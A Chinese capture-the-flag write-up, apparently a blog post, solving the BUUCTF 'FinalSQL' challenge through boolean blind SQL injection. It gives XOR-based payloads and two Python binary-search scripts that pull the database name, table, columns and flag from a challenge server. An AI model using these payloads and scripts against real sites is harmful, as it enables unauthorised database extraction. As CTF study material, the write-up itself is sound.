buuctf 极客大挑战 finalsql

在这里插入图片描述
说来话长,这边记录下,页面不一样了,之前的注入全部行不通,考虑盲注,利用二分法查找是非常快的
这边记下payload

查库名:id=1^(ascii(substr((select(database())),1,1))>1)^1
库名为geek

查表名:id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),1,1))>1)^1
表名为F1naI1y
查列名,还是得写脚本,

1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),1,1))>1)^1
import requests
import time

url = "http://acd0b80d-cfac-4ed8-aab6-7c6f64ee9fa2.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url,params=temp)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    column +=chr(mid)
    print(column)


print("column=" ,column)



在这里插入图片描述
emmmm,这题确实烦,手工注入会心态爆炸的。

查flag

1^(ascii(substr((select(group_concat(password))from(F1naI1y)),1,1))>1)^1

不得不说二分法查询真的特别省时间,主要是这题太恶心了


import requests
import time

url = "http://acd0b80d-cfac-4ed8-aab6-7c6f64ee9fa2.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url,params=temp)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    column +=chr(mid)
    print(column)


print("flag=" ,column)

附上大哥写的脚本

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值